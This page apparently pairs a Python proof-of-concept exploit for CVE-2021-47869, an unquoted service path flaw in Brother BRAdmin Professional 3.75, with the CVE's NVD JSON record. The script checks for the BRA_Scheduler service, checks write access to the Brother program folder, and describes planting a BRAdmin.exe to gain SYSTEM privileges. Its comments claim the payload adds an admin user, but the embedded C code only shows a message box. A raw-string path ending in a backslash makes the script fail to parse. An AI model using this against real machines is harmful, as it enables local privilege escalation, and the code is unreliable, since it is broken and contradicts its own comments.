CVE-2021-47869

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2021-47869 PoC - Brother BRAdmin Professional 3.75 Unquoted Service Path This PoC demonstrates the unquoted service path vulnerability in BRAdmin Professional 3.75 """ import os import sys import subprocess import shutil def check_vulnerability(): """Check if the target system is vulnerable""" service_path = r'C:\Program Files (x86)\Brother\BRAdmin Professional 3\BRA_Scheduler.exe' # Check if service exists try: result = subprocess.run( ['sc', 'query', 'BRA_Scheduler'], capture_output=True, text=True ) if 'SERVICE_NAME' in result.stdout: print('[+] BRA_Scheduler service found') return True except Exception as e: print(f'[-] Error checking service: {e}') return False def create_malicious_executable(): """Create a malicious executable to be placed in the vulnerable path""" # This is a placeholder - in a real attack, this would be actual malicious code # For demonstration purposes, this creates a simple executable that adds a new admin user malicious_code = ''' #include <windows.h> #include <stdio.h> int main() { // In real attack: execute malicious payload here // This would typically spawn a shell with SYSTEM privileges MessageBox(NULL, "BRAdmin Service Executed", "PoC", MB_OK); return 0; } ''' print('[+] Malicious executable code generated') return malicious_code def exploit(): """Exploit the unquoted service path vulnerability""" target_dir = r'C:\Program Files (x86)\Brother\' malicious_exe = os.path.join(target_dir, 'BRAdmin.exe') print('[*] Starting CVE-2021-47869 exploitation...') if not check_vulnerability(): print('[-] BRA_Scheduler service not found or not vulnerable') return False # Check if target directory is writable try: if not os.access(target_dir, os.W_OK): print('[-] No write permission to target directory') print('[*] Please run as administrator or with appropriate privileges') return False except Exception as e: print(f'[-] Error checking permissions: {e}') return False # Create malicious executable create_malicious_executable() # Note: In a real attack, you would compile and place the actual malicious executable print(f'[*] Malicious executable should be placed at: {malicious_exe}') print('[*] When BRA_Scheduler service restarts, it will execute this file with SYSTEM privileges') return True if __name__ == '__main__': exploit()

{"cve": {"id": "CVE-2021-47869", "sourceIdentifier": "[email protected]", "published": "2026-01-21T18:16:19.213", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Brother BRAdmin Professional 3.75 contains an unquoted service path vulnerability in the BRA_Scheduler service that allows local users to potentially execute arbitrary code. Attackers can place a malicious executable named 'BRAdmin' in the C:\\Program Files (x86)\\Brother\\ directory to gain local system privileges."}, {"lang": "es", "value": "Brother BRAdmin Professional 3.75 contiene una vulnerabilidad de ruta de servicio sin comillas en el servicio BRA_Scheduler que permite a los usuarios locales ejecutar potencialmente código arbitrario. Los atacantes pueden colocar un ejecutable malicioso llamado 'BRAdmin' en el directorio C:\\Program Files (x86)\\Brother\\ para obtener privilegios de sistema local."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-428"}]}], "references": [{"url": "https://docs.unsafe-inline.com/0day/bradmin-professional-3.75-unquoted-service-path", "source": "[email protected]"}, {"url": "https://global.brother/", "source": "[email protected]"}, {"url": "https://support.brother.com/g/b/downloadend.aspx?c=us&lang=en&prod=hls7000dn_us_eu_as&os=10013&dlid=dlf005042_000&flang=4&type3=26", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/49671", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/bradmin-professional-brascheduler-unquoted-service-path", "source": "[email protected]"}]}}